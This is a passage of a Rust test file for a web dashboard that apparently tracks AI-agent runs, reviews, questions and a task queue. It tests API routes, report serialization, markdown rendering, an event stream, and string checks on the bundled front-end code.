12083 mk("20260902-140502-bbbb", Some(77)),
12084 mk("20260902-140502-cccc", Some(77)),
12085 mk("20260902-140502-dddd", None),
12086 ];
12087 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12088 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12089 let sup: HashMap<String, String> = [(
12090 "20260902-140502-aaaa".to_owned(),
12091 "20260902-140502-cccc".to_owned(),
12092 )]
12093 .into();
12094
12095 let status_calls = std::cell::Cell::new(0);
12096 let identity_calls = std::cell::Cell::new(0);
12097 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12098 |_| {
12099 status_calls.set(status_calls.get() + 1);
12100 Some(true)
12101 },
12102 |_| {
12103 identity_calls.set(identity_calls.get() + 1);
12104 Some("1790000000".to_owned())
12105 },
12106 ));
12107 let rows = summarize(
12108 states,
12109 &open,
12110 &claimed,
12111 &sup,
12112 |p| probe.borrow_mut().status(p),
12113 |p| probe.borrow_mut().started_at(p),
12114 );
12115
12116 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12117 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12118 assert_eq!(rows.len(), 4);
12119 assert!(!rows[0].waiting && rows[1].waiting);
12120 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12121 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12122 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12123 assert_eq!(rows[1].superseded_by, None);
12124 }
12125
12126 #[test]
12127 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12128 let mut state = RunState::new(
12129 PathBuf::from("/repo/magi"),
12130 "main".to_owned(),
12131 "0123456789abcdef".to_owned(),
12132 "Review only".to_owned(),
12133 Config::default(),
12134 );
12135 state.id = "20260922-090200-dead".to_owned();
12136 state.status = RunStatus::Reviewing;
12137 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12138 .expect("serialize list row");
12139 assert_eq!(row["status"], "reviewing");
12140 assert_eq!(row["live"], "dead", "{row}");
12141 assert!(!row["done"].as_bool().unwrap());
12142 }
12143
12144 #[tokio::test]
12145 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12146 let f = Fixture::start().await;
12147 for id in [
12148 "20260902-140501-aaaa",
12149 "20260902-140502-bbbb",
12150 "20260902-140503-cccc",
12151 ] {
12152 write_run(&f.runs(), id, RunStatus::Merged);
12153 }
12154
12155 let all = f.get("/api/runs").await.json();
12156 let capped = f.get("/api/runs?limit=2").await.json();
12157
12158 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12159 assert_eq!(all.as_array().map(Vec::len), Some(3));
12160 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12161 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12162 }
12163
12164 #[tokio::test]
12165 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12166 let f = Fixture::start().await;
12167 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12168
12169 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12170
12171 assert_eq!(res.status, 200);
12172 assert!(
12173 res.headers
12174 .contains("content-type: text/plain; charset=utf-8"),
12175 "a browser must render it, not download it: {}",
12176 res.headers
12177 );
12178 assert!(
12182 res.body.contains("20260902-140501-a1b2"),
12183 "the report is about the run that was asked for: {}",
12184 res.body
12185 );
12186 }
12187
12188 #[tokio::test]
12189 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12190 crate::run::pin_test_home();
12192 let f = Fixture::start().await;
12193 let id = "20260902-140501-a1b2";
12194 write_run(&f.runs(), id, RunStatus::Stalled);
12195 let path = f.runs().join(id).join("run.json");
12198 let mut v: serde_json::Value =
12199 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12200 v["tally"] = serde_json::json!({
12201 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12202 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12203 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12204 "met_quorum": false, "rankings": 1
12205 });
12206 v["reviews"] = serde_json::json!([{
12207 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12208 "e2e_deferred": true,
12209 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12210 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12211 ]}]
12212 }]);
12213 std::fs::write(&path, v.to_string()).unwrap();
12214 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12215 std::fs::write(
12216 f.runs().join("20260902-140502-dead").join("run.json"),
12217 "{not json",
12218 )
12219 .unwrap();
12220
12221 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12222
12223 assert_eq!(res.status, 200, "{}", res.body);
12224 assert!(res.headers.contains("content-type: application/json"));
12225 let j = res.json();
12226 assert_eq!(j["schema"], 1);
12227 assert_eq!(j["header"]["id"], id);
12228 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12229 let kinds: Vec<&str> = j["sections"]
12230 .as_array()
12231 .unwrap()
12232 .iter()
12233 .map(|s| s["kind"].as_str().unwrap())
12234 .collect();
12235 assert_eq!(kinds, ["candidates", "tally", "review"]);
12236 let tally = &j["sections"][1]["tally"];
12237 assert_eq!(
12238 (tally["decided"].clone(), tally["provisional"].clone()),
12239 (false.into(), true.into())
12240 );
12241 let round = &j["sections"][2]["rounds"][0];
12242 assert_eq!(round["e2e"]["state"], "deferred");
12243 assert_eq!(round["findings"][0]["severity"], "major");
12244 assert_eq!(round["findings"][0]["blocking"], true);
12245 assert_eq!(round["findings"][0]["state"], "open");
12246
12247 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12249
12250 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12252 assert_ne!(bad.status, 200, "{}", bad.body);
12253 assert_eq!(
12254 bad.status,
12255 f.get("/api/runs/20260902-140502-dead/report").await.status
12256 );
12257 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12258 assert_eq!(
12259 f.get("/api/runs/20260902-999999-ffff/report.json")
12260 .await
12261 .status,
12262 404
12263 );
12264 }
12265
12266 #[tokio::test]
12267 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12268 let f = Fixture::start().await;
12269
12270 let html = f.get("/").await;
12271 let css = f.get("/app.css").await;
12272 let js = f.get("/app.js").await;
12273
12274 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12275 assert!(
12276 html.headers
12277 .contains("content-type: text/html; charset=utf-8")
12278 );
12279 assert!(css.headers.contains("content-type: text/css"));
12280 assert!(js.headers.contains("content-type: text/javascript"));
12281 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12282 }
12283
12284 #[test]
12285 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12286 let body = |name: &str| {
12287 let at = APP_JS
12288 .find(name)
12289 .unwrap_or_else(|| panic!("{name} missing"));
12290 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12291 };
12292 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12293 let note = body("function landRoundNote");
12294 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12295 assert!(note.contains("Land round ${round}"));
12296 let land = body("function renderLand");
12297 let note_at = land
12298 .find("landRoundNote(pr)")
12299 .expect("renderLand uses the note");
12300 assert!(
12301 note_at
12302 < land
12303 .find("roundRail(pr)")
12304 .expect("renderLand uses the rail")
12305 );
12306 }
12307
12308 #[test]
12309 fn the_runs_page_redesign_keeps_its_guards() {
12310 let body = |name: &str| {
12311 let at = APP_JS
12312 .find(name)
12313 .unwrap_or_else(|| panic!("{name} missing"));
12314 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12315 };
12316 let land = body("function renderLand");
12318 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12319 assert!(
12320 !land.contains("box.append("),
12321 "renderLand must use append()"
12322 );
12323 assert!(land.contains("append(box, ["));
12324 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12326 assert!(
12327 body("function applyRoute")
12328 .contains("route.name !== state.route.name || route.id !== state.route.id")
12329 );
12330 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12332 assert!(!INDEX_HTML.contains("advise-converge"));
12333 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12334 assert!(APP_JS.contains("provisional"));
12335 for id in [
12336 "run-tab-overview",
12337 "run-tab-timeline",
12338 "run-tab-report",
12339 "run-report",
12340 "runs-scope",
12341 ] {
12342 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12343 }
12344 assert!(!INDEX_HTML.contains("runs-tree"));
12345 assert!(!INDEX_HTML.contains("run-raw-panel"));
12346 assert!(APP_JS.contains("resume"));
12348 assert!(APP_JS.contains("unreadable"));
12350 }
12351
12352 #[test]
12353 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12354 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12355 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12356 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12357 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12358 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12359 assert!(APP_JS.contains("unreadable` : null"));
12361 }
12362
12363 #[test]
12364 fn the_run_detail_payload_says_whether_the_run_is_done() {
12365 for (status, done) in [
12367 (RunStatus::Superseded, true),
12368 (RunStatus::Blocked, true),
12369 (RunStatus::Landing, false),
12370 ] {
12371 let mut state = RunState::new(
12372 std::path::PathBuf::from("/repo"),
12373 "main".to_owned(),
12374 "abc".to_owned(),
12375 "x".to_owned(),
12376 crate::config::Config::default(),
12377 );
12378 state.status = status;
12379 let v = serde_json::to_value(RunDetailView::of(
12380 state,
12381 crate::run::Liveness::Unknown,
12382 None,
12383 None,
12384 None,
12385 ))
12386 .unwrap();
12387 assert_eq!(v["done"], done, "{status:?}");
12388 }
12389 }
12390
12391 fn has_strong(nodes: &[md::Node]) -> bool {
12393 serde_json::to_string(nodes).unwrap().contains("strong")
12394 }
12395
12396 #[test]
12397 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12398 let mut state = RunState::new(
12399 std::path::PathBuf::from("/repo"),
12400 "main".to_owned(),
12401 "abc".to_owned(),
12402 "x".to_owned(),
12403 crate::config::Config::default(),
12404 );
12405 let proposal = |approach: &str| {
12406 serde_json::json!({
12407 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12408 })
12409 };
12410 state.advice = Some(
12411 serde_json::from_value(serde_json::json!({
12412 "records": [
12413 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12414 "proposal": proposal("do **this**")},
12415 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12416 ],
12417 "synthesis": "- one\n- **two**\n\n`code`",
12418 }))
12419 .unwrap(),
12420 );
12421 state.candidates = serde_json::from_value(serde_json::json!([
12422 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12423 "summary": "did **it**"},
12424 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12425 ]))
12426 .unwrap();
12427 state.reviews = serde_json::from_value(serde_json::json!([{
12430 "round": 1, "head": "h",
12431 "reviews": [{
12432 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12433 "findings": [
12434 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12435 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12436 ],
12437 }],
12438 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12439 "fix": {"agent": "a", "notes": "fixed **it**",
12440 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12441 }, {"round": 2, "head": "h2", "reviews": []}]))
12442 .unwrap();
12443
12444 let v = serde_json::to_value(RunDetailView::of(
12445 state,
12446 crate::run::Liveness::Unknown,
12447 None,
12448 None,
12449 None,
12450 ))
12451 .unwrap();
12452
12453 let strong = |p: &str| {
12454 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12455 assert!(n.to_string().contains("strong"), "{p}: {n}");
12456 };
12457 strong("/advice_md/synthesis");
12458 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12459 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12460 strong("/advice_md/approaches/0");
12461 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12462 strong("/candidate_summaries_md/0");
12463 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12464 strong("/reviews_md/0/reviewers/0/summary");
12465 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12466 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12467 assert!(f[1].to_string().contains("strong"));
12468 strong("/reviews_md/0/reconsideration/0");
12469 strong("/reviews_md/0/fix/notes");
12470 strong("/reviews_md/0/fix/rejected/0");
12471 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12472 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12473 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12475 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12476 }
12477
12478 #[test]
12479 fn a_run_without_advice_has_no_advice_md() {
12480 let state = RunState::new(
12481 std::path::PathBuf::from("/repo"),
12482 "main".to_owned(),
12483 "abc".to_owned(),
12484 "x".to_owned(),
12485 crate::config::Config::default(),
12486 );
12487 let p = run_prose_md(&state);
12488 assert!(p.advice_md.is_none());
12489 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12490 }
12491
12492 #[test]
12493 fn a_question_view_carries_markdown_for_each_thread_turn() {
12494 let home = TempDir::new().unwrap();
12495 let store = ask::Questions::at(home.path().join("questions"));
12496 let mut q = Question::new(
12497 "run".to_owned(),
12498 "implement".to_owned(),
12499 "impl-A".to_owned(),
12500 "which?".to_owned(),
12501 String::new(),
12502 Vec::new(),
12503 );
12504 q.say("plain words").unwrap();
12505 q.reply("use **this**", Vec::new()).unwrap();
12506 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12507 let bodies = &v["thread_bodies_md"];
12508 assert_eq!(bodies.as_array().unwrap().len(), 2);
12509 assert!(!bodies[0].to_string().contains("strong"));
12510 assert!(bodies[1].to_string().contains("strong"));
12511 }
12512
12513 #[test]
12514 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12515 let home = TempDir::new().unwrap();
12516 let store = ask::Questions::at(home.path().join("questions"));
12517 let mut q = Question::new(
12518 "run".to_owned(),
12519 "conduct".to_owned(),
12520 "conduct".to_owned(),
12521 "which?".to_owned(),
12522 String::new(),
12523 Vec::new(),
12524 );
12525 q.say("plain words").unwrap();
12526 q.thread.push(ask::Turn {
12527 who: ask::Who::Agent,
12528 body: "Settled as `merge`".to_owned(),
12529 at: jiff::Timestamp::now(),
12530 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12531 });
12532 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12533 let notes = &v["thread_notes_md"];
12534 assert_eq!(notes.as_array().unwrap().len(), 2);
12535 assert!(notes[0].is_null());
12536 let text = notes[1].to_string();
12537 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12538 assert!(APP_JS.contains("ask-turn-note"));
12539 }
12540
12541 #[test]
12542 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12543 assert!(APP_JS.contains("function landView(run, raw) {"));
12547 assert!(
12548 APP_JS.contains(
12549 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12550 )
12551 );
12552 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12553 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12554 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12555 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12556 }
12557
12558 #[test]
12559 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12560 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12561 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12562 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12563 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12564 }
12565
12566 #[test]
12567 fn review_rounds_label_a_distinct_verified_head() {
12568 assert!(APP_JS.contains("round.verified_head"));
12569 assert!(APP_JS.contains("verified HEAD"));
12570 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12571 }
12572
12573 #[test]
12574 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12575 assert!(APP_JS.contains("blocked: { glyph:"));
12579 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12580
12581 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12585 assert!(
12586 APP_JS.contains(
12587 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12588 ),
12589 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12590 );
12591 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12595
12596 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12600 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12601 assert!(
12602 APP_JS.contains("location.hash = \"#/questions\";"),
12603 "a question node must jump to the Questions screen, not pretend to be a task"
12604 );
12605
12606 assert!(APP_JS.contains("Resolved questions"));
12609 assert!(APP_JS.contains("r.answersList.append("));
12610 assert!(APP_CSS.contains(".task-answers"));
12611 {
12612 let start = APP_JS
12613 .find("function updateTalkTaskRow")
12614 .expect("updateTalkTaskRow");
12615 let body = &APP_JS[start..];
12616 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12617 assert!(
12618 body.contains(
12619 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12620 ),
12621 "a chat-filed task row must link to the task page"
12622 );
12623 assert!(
12624 !body.contains("#/runs/") && !body.contains("#/queue/"),
12625 "the row must not branch to a run or the queue card"
12626 );
12627 assert!(APP_CSS.contains(".talk-task-link"));
12628 }
12629 }
12630
12631 #[test]
12632 fn a_task_notification_links_to_the_task_page() {
12633 let start = APP_JS
12635 .find("function noticeLink(")
12636 .expect("noticeLink exists");
12637 let body = &APP_JS[start..];
12638 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12639 assert!(
12640 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12641 "a task notice's link must target the task page"
12642 );
12643 assert!(
12644 !body.contains("#/queue/"),
12645 "regression: the task link must not go back to the Backlog route"
12646 );
12647 assert!(
12648 APP_JS.contains(
12649 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12650 ),
12651 "`#/tasks/<id>` must parse into the task route"
12652 );
12653
12654 assert!(
12656 APP_JS.contains(
12657 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12658 ),
12659 "`#/queue/<id>` must parse into a route carrying that id"
12660 );
12661
12662 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12666 assert!(APP_JS.contains("function consumeQueueFocus()"));
12667 assert!(APP_JS.contains("jumpToTask(id)"));
12668 }
12669
12670 #[test]
12673 fn chat_rows_put_the_title_alone_on_the_first_line() {
12674 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12675 assert!(APP_CSS.contains(
12676 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12677 ));
12678 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12679 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12680 }
12681
12682 #[test]
12683 fn run_rows_put_the_title_alone_on_the_first_line() {
12684 assert!(
12685 APP_CSS.contains(
12686 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12687 )
12688 );
12689 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12690 assert!(APP_JS.contains("class: \"card run-card\""));
12691 assert!(APP_JS.contains("class: \"repo run-id\""));
12692 }
12693
12694 #[test]
12698 fn wide_screens_show_list_and_preview_side_by_side() {
12699 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12701 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12702 assert!(APP_CSS.contains("main[data-split]"));
12703 assert!(APP_CSS.contains("body[data-split]"));
12704
12705 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12707 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12708 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12709 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12710 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12711
12712 assert!(APP_JS.contains("function markSelected() {"));
12714 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12715 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12716 assert!(
12718 APP_CSS.contains(
12719 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12720 )
12721 );
12722
12723 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12725 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12726 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12727 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12728
12729 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12733 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12734 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12735 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12736
12737 assert!(APP_JS.contains("sandbox: \"\""));
12739 assert!(!APP_JS.contains("sandbox: \"allow"));
12740 }
12741
12742 #[test]
12743 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12744 assert!(
12753 APP_JS.contains(
12754 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12755 ),
12756 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12757 recursive renderQueue() call has nothing left to jump to"
12758 );
12759 assert!(
12760 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12761 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12762 arrives later still gets it"
12763 );
12764 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12765 assert!(APP_JS.contains("is not in the current Backlog."));
12766 assert!(APP_JS.contains("li.card[data-task-id=\""));
12767 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12768 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12769 assert!(APP_CSS.contains(".card-permalink"));
12770 assert!(APP_CSS.contains(".queue-focus-status"));
12771 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12772 }
12773
12774 #[test]
12775 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12776 assert!(
12784 APP_JS.contains(
12785 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12786 ),
12787 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12788 );
12789 }
12790
12791 #[test]
12792 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12793 assert!(
12794 APP_JS.contains("round.verified_head !== round.head"),
12795 "a round that verified an earlier commit must be visibly distinct from one that \
12796 verified the head reviewers are looking at now"
12797 );
12798 assert!(
12799 APP_JS.contains("round.verified_at"),
12800 "when a check ran must be on the wire, not just which commit"
12801 );
12802 assert!(
12803 APP_JS.contains("resource_blocked"),
12804 "a command magi never got to run (shared build cache contention) must not render \
12805 the same as a command that ran and failed"
12806 );
12807 }
12808
12809 #[test]
12810 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12811 assert!(
12819 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12820 "every KPI tile built through statusTile() must route its click through \
12821 openRunsFiltered, the single place that sets the Runs filter"
12822 );
12823 for (label, status) in [
12824 ("Merged", "merged"),
12825 ("Ready", "ready"),
12826 ("Blocked", "blocked"),
12827 ("Stalled", "stalled"),
12828 ] {
12829 let call = format!("statusTile(\"{label}\", t.{status}, ");
12830 assert!(
12831 APP_JS.contains(&call),
12832 "expected the {label} KPI tile built via {call}..."
12833 );
12834 assert!(
12835 APP_JS.contains(&format!("status === \"{status}\"")),
12836 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12837 compare a run against, not one invented only for the stats tile"
12838 );
12839 }
12840 assert!(
12841 APP_JS.contains("function openRunsFiltered(status)"),
12842 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12843 );
12844 assert!(
12845 APP_JS.contains(
12846 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12847 ),
12848 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12849 );
12850 assert!(
12858 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12859 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12860 hashchange event that may never fire"
12861 );
12862 }
12863
12864 #[test]
12865 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12866 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12872 assert!(
12873 APP_JS.contains(
12874 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12875 ),
12876 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12877 guard for an incompatible tree section"
12878 );
12879 }
12880
12881 #[test]
12882 fn every_stats_queue_tile_names_a_real_queue_section() {
12883 assert!(
12889 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12890 "every queue tile built through sectionTile() must route its click through \
12891 openQueueSectionFocus"
12892 );
12893 for key in ["upnext", "running", "done", "held", "blocked"] {
12894 assert!(
12895 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12896 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12897 );
12898 }
12899 for line in [
12903 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12904 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12905 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12906 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12907 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12908 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12909 ] {
12910 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12911 }
12912 }
12913
12914 #[test]
12915 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12916 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12923 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12924 assert!(APP_JS.contains("function revealQueueSection(details)"));
12925 assert!(
12926 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12927 "renderQueue() must consume both focus channels on every pass"
12928 );
12929 assert!(
12930 APP_JS.contains(
12931 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12932 ),
12933 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12934 the recursive renderQueue() call has nothing left to reveal"
12935 );
12936 assert!(
12937 APP_JS.contains(
12938 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12939 ),
12940 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12941 );
12942 assert!(
12950 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12951 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12952 hashchange event that may never fire"
12953 );
12954 }
12955
12956 #[tokio::test]
12957 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12958 let f = Fixture::start().await;
12959
12960 let mut socket = tokio::net::TcpStream::connect(f.addr)
12961 .await
12962 .expect("connect");
12963 socket
12964 .write_all(
12965 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12966 )
12967 .await
12968 .expect("write request");
12969
12970 let mut seen = String::new();
12973 let mut buf = [0u8; 1024];
12974 while !seen.contains("event: change") {
12975 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12976 .await
12977 .expect("the stream must speak within five seconds")
12978 .expect("read");
12979 assert!(read > 0, "the server closed the change stream: {seen}");
12980 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12981 }
12982
12983 assert!(
12984 seen.to_lowercase()
12985 .contains("content-type: text/event-stream"),
12986 "the browser only reconnects automatically for a real SSE stream: {seen}"
12987 );
12988 let data = seen
12989 .lines()
12990 .find_map(|l| l.strip_prefix("data:"))
12991 .expect("a data line");
12992 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12993 assert!(
12994 payload["queue_rev"].is_u64()
12995 && payload["runs_rev"].is_u64()
12996 && payload["questions_rev"].is_u64()
